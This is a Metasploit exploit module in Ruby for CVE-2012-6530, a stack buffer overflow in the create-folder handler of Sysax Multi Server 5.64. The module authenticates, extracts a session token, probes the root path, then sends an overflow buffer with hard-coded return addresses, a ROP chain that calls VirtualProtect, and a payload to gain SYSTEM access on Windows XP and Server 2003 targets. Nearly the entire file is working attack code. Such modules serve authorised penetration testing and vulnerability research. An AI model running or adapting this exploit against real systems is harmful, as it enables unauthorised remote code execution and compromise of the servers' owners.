##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'		=> 'Sysax Multi Server 5.64 Create Folder Buffer Overflow',
      'Description'	=> %q{
          This module exploits a stack buffer overflow in the create folder function in
        Sysax Multi Server 5.64. This issue was fixed in 5.66. In order to trigger the
        vulnerability valid credentials with the create folder permission must be provided.
        The HTTP option must be enabled on Sysax too.

        This module will log into the server, get a SID token, find the root folder, and
        then proceed to exploit the server. Successful exploits result in SYSTEM access.
        This exploit works on XP SP3, and Server 2003 SP1-SP2.
      },
      'License'	=> MSF_LICENSE,
      'Author'	=>
        [
          'Craig Freyman',         #Original discovery for the overflow
          'Matt "hostess" Andreko' #More reliable attack vector
        ],
      'References'	=>
        [
          [ 'CVE', '2012-6530' ],
          [ 'OSVDB', '82329' ],
          [ 'EDB', '20676' ],
          [ 'EDB', '18420' ],
          [ 'URL', 'http://www.pwnag3.com/2012/01/sysax-multi-server-550-exploit.html' ],
          [ 'URL', 'http://www.mattandreko.com/2012/07/sysax-564-http-remote-buffer-overflow.html' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Platform'	=> 'win',
      'Payload'	=>
        {
          'BadChars'		=> "\x00\x2F\x0d\x0a", # 0d and 0a are only bad, due to the Rex::MIME replacing 0d with 0d0a in the message#to_s
          'Space'			=> '1299',
          'DisableNops'	=> true,
        },

      'Targets'		=>
        [
          [ 'Windows XP SP3 / Sysax Multi Server 5.64',
            {
              'Rop'		=>	 false,
              'Ret'		=>	 0x77c35459, # push esp #  ret [msvcrt.dll]
              'Offset'	=>	  711,
            }
          ],
          [ 'Windows 2003 SP1-SP2 / Sysax Multi Server 5.64',
            {
              'Rop'		=>	 true,
              'Ret'		=>	 0x77baf605, # pop esi; pop ebp; retn 0c; [msvcrt.dll] (pivot)
              'Offset'	=>	 711,
              'Nop'		=>	 0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]
            }
          ],
        ],
      'Privileged'	=> true,
      'DisclosureDate'=> 'Jul 29 2012',
      'DefaultTarget' => 0))

    register_options(
        [
          OptString.new('TARGETURI', [true, 'The URI path to the Sysax web application', '/']),
          Opt::RPORT(80),
          OptString.new('SysaxUSER', [ true, "Username" ]),
          OptString.new('SysaxPASS', [ true, "Password" ])
        ], self.class)

  end

  def create_rop_chain()
    rop_gadgets = []

    # ROP chains provided by Corelan.be
    # https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2
    if (target == targets[1]) # Windows 2003
      rop_gadgets =
      [
        0x77be3adb, # POP EAX # RETN [msvcrt.dll]
        0x77ba1114, # ptr to &VirtualProtect() [IAT msvcrt.dll]
        0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]
        0x41414141, # Filler (compensate)
        0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]
        0x77bdb896, # POP EBP # RETN [msvcrt.dll]
        0x77be2265, # & push esp #	ret	 [msvcrt.dll]
        0x77bdeebf, # POP EAX # RETN [msvcrt.dll]
        0x2cfe0668, # put delta into eax (-> put 0x00000201 into ebx)
        0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
        0x77bdfe37, # ADD EBX,EAX # OR EAX,3000000 # RETN [msvcrt.dll]
        0x77bdf0da, # POP EAX # RETN [msvcrt.dll]
        0x2cfe04a7, # put delta into eax (-> put 0x00000040 into edx)
        0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
        0x77bb8285, # XCHG EAX,EDX # RETN [msvcrt.dll]
        0x77bcc2ee, # POP ECX # RETN [msvcrt.dll]
        0x77befbb4, # &Writable location [msvcrt.dll]
        0x77bbf75e, # POP EDI # RETN [msvcrt.dll]
        0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]
        0x77bdf0da, # POP EAX # RETN [msvcrt.dll]
        0x90909090, # nop
        0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
      ].flatten.pack("V*")
    end

    return rop_gadgets

  end

  def get_sid

    user = datastore['SysaxUSER']
    pass = datastore['SysaxPASS']

    creds = "fd=#{Rex::Text.encode_base64(user+"\x0a"+pass)}"
    uri = target_uri.path
    # Login to get SID value
    r = send_request_cgi({
      'method' => "POST",
      'uri'    => normalize_uri("#{uri}/scgi?sid=0&pid=dologin"),
      'data'   => creds
    })

    # Parse response for SID token
    sid = r.body.match(/sid=([A-Z0-9a-z]{40})/)[1]
    print_status "SID: #{sid.to_s}"

    sid.to_s

  end

  def get_root_path(sid)

    # Find the path because it's used to help calculate the offset
    random_folder_name = rand_text_alpha(8) # This folder should not exist in the root dir
    uri = normalize_uri(target_uri.path)
    r = send_request_cgi({
      'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm"),
      'method' => 'POST',
    })

    # Example message: invalid path: C:\Documents and Settings\Administrator\Desktop\9dk2hdh2.
    # Root Path should be C:\Documents and Settings\Administrator\Desktop  (no trailing slash)
    root_path = r.body.match(/^invalid path: (.*)\\#{random_folder_name}\.$/)[1]
    print_status "Root Dir: #{root_path}"

    root_path

  end

  def exploit

    connect

    sid = get_sid
    root_path = get_root_path(sid)

    buffer = rand_text(target['Offset']-root_path.length)
    buffer << [target.ret].pack('V')

    if (target['Rop'])
      buffer << [target['Nop']].pack('V')*16
      buffer << create_rop_chain()
    end

    buffer << make_nops(15)
    buffer << payload.encoded

    post_data = Rex::MIME::Message.new
    post_data.add_part(buffer, nil, nil, "form-data; name=\"e2\"")
    post_data.bound = rand_text_numeric(57) # example; "---------------------------12816808881949705206242427669"
    uri = normalize_uri(target_uri.path)
    r = send_request_cgi({
      'uri'	  => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=mk_folder2_name1.htm"),
      'method'  => 'POST',
      'data'	  => post_data.to_s,
      'ctype'	  => "multipart/form-data; boundary=#{post_data.bound}",
    })

    disconnect

  end
end
